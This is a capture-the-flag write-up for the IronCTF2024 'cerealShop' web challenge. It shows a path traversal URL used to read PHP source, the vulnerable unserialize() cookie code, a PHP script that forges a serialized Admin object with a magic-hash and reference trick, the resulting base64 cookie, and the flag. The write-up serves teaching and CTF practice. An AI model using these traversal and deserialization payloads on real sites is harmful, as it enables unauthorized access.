IronCTF2024 web/cerealShop
My solution for IronCTF2024 web/cerealShop challenge
Challenge overview
The cerealShop challenge revolves around a webpage for a “Secure Store” that contains hidden elements with encoded messages. The goal is to leverage these hidden clues to extract the flag, using a combination of path traversal and cookie deserialization.
Application structure
The web page displays an online store with a simple form to search for items. Hidden within the HTML are two <p hidden>
tags, one with the parameter ?file=
and another with an encoded message.
Analysis
Hidden message
On the main page, we identified a hidden message containing Base64-encoded
text. After decoding, the message revealed a clue: “I left a piece of code in a file called source, I bet you can’t reach it.” This pointed towards accessing the file named "source"
via a path traversal vulnerability.
Identifying the vulnerabilities
Path traversal
By manipulating the ?file
parameter, it was possible to navigate the directory structure and read the source file:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
getMessage();
}
}
$file = $_GET['file'];
includeFile($file);
$FLAG = getenv('FLAG');
class Admin
{
public $is_admin = "";
public $your_secret = "";
public $my_secret = "";
public function __construct($in, $ysecret, $msecret)
{
$this->is_admin = md5($in);
$this->your_secret = $ysecret;
$this->my_secret = $msecret;
}
public function __toString()
{
return $this->is_admin;
}
}
if (isset($_COOKIE['can_you_get_me'])) {
try {
$f = base64_decode($_COOKIE['can_you_get_me']);
if (!$f) {
throw new Exception("");
}
$unout = unserialize($f);
if (!$unout) {
throw new Exception("\n wrong cookie");
}
$unout->my_secret = $FLAG;
if ($unout->is_admin == 0 && $unout->your_secret === $unout->my_secret) {
echo "Okay here is your flag:", $FLAG;
} else
echo "no ";
} catch (Exception $e) {
echo "Error: " . $e->getMessage();
}
}
?>
Cookie deserialization
The application uses a serialized cookie (can_you_get_me
) that can be manipulated to control the execution flow, leveraging the unserialize()
function.
Crafting the exploit
Path traversal
By visiting the URL with https://cerealshop.1nf1n1ty.team/?file=../../../../../source
, we accessed the source code of the application, which revealed a class named Admin
and the logic for cookie deserialization.
Cookie deserialization
The code involved unserializing the cookie value, which allowed us to manipulate the object properties. We crafted a cookie value that:
- Set
is_admin
to an MD5 hash that would evaluate to0
(using a special case like240610708
that results in0e
notation, which PHP interprets as0
). - Set
your_secret
to referencemy_secret
(i.e., a self-reference). - Serialized and encoded the object to create a valid manipulated cookie.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
<?php
class Admin {
public $is_admin = "";
public $your_secret = "";
public $my_secret = "";
public function __construct($in, $ysecret, $msecret) {
$this->is_admin = md5($in);
$this->your_secret = $ysecret;
$this->my_secret = $msecret;
}
}
$admin = new Admin("240610708", "", "");
$admin->your_secret = &$admin->my_secret;
$serialized = serialize($admin);
$cookie_value = base64_encode($serialized);
echo "Crafted Cookie: " . $cookie_value;
?>
Crafted cookie become: can_you_get_me=Tzo1OiJBZG1pbiI6Mzp7czo4OiJpc19hZG1pbiI7czozMjoiMGU0NjIwOTc0MzE5MDY1MDkwMTk1NjI5ODg3MzY4NTQiO3M6MTE6InlvdXJfc2VjcmV0IjtzOjA6IiI7czo5OiJteV9zZWNyZXQiO1I6Mzt9;
Flag:ironCTF{D353r1411Z4710N_4T_1T5_B35T}
Conclusion
By combining path traversal to gain access to the source code and cookie deserialization to bypass security checks, we were able to retrieve the flag. The vulnerabilities showcased the dangers of improperly handling user input for file paths and cookies, especially using the unserialize()
function without proper validation.
Key takeaways
- Hidden HTML elements can provide important clues to vulnerabilities.
- Always sanitize inputs when dealing with file paths to prevent path traversal attacks.
- Using
unserialize()
on user-controlled data is inherently dangerous, especially without implementing proper validation checks.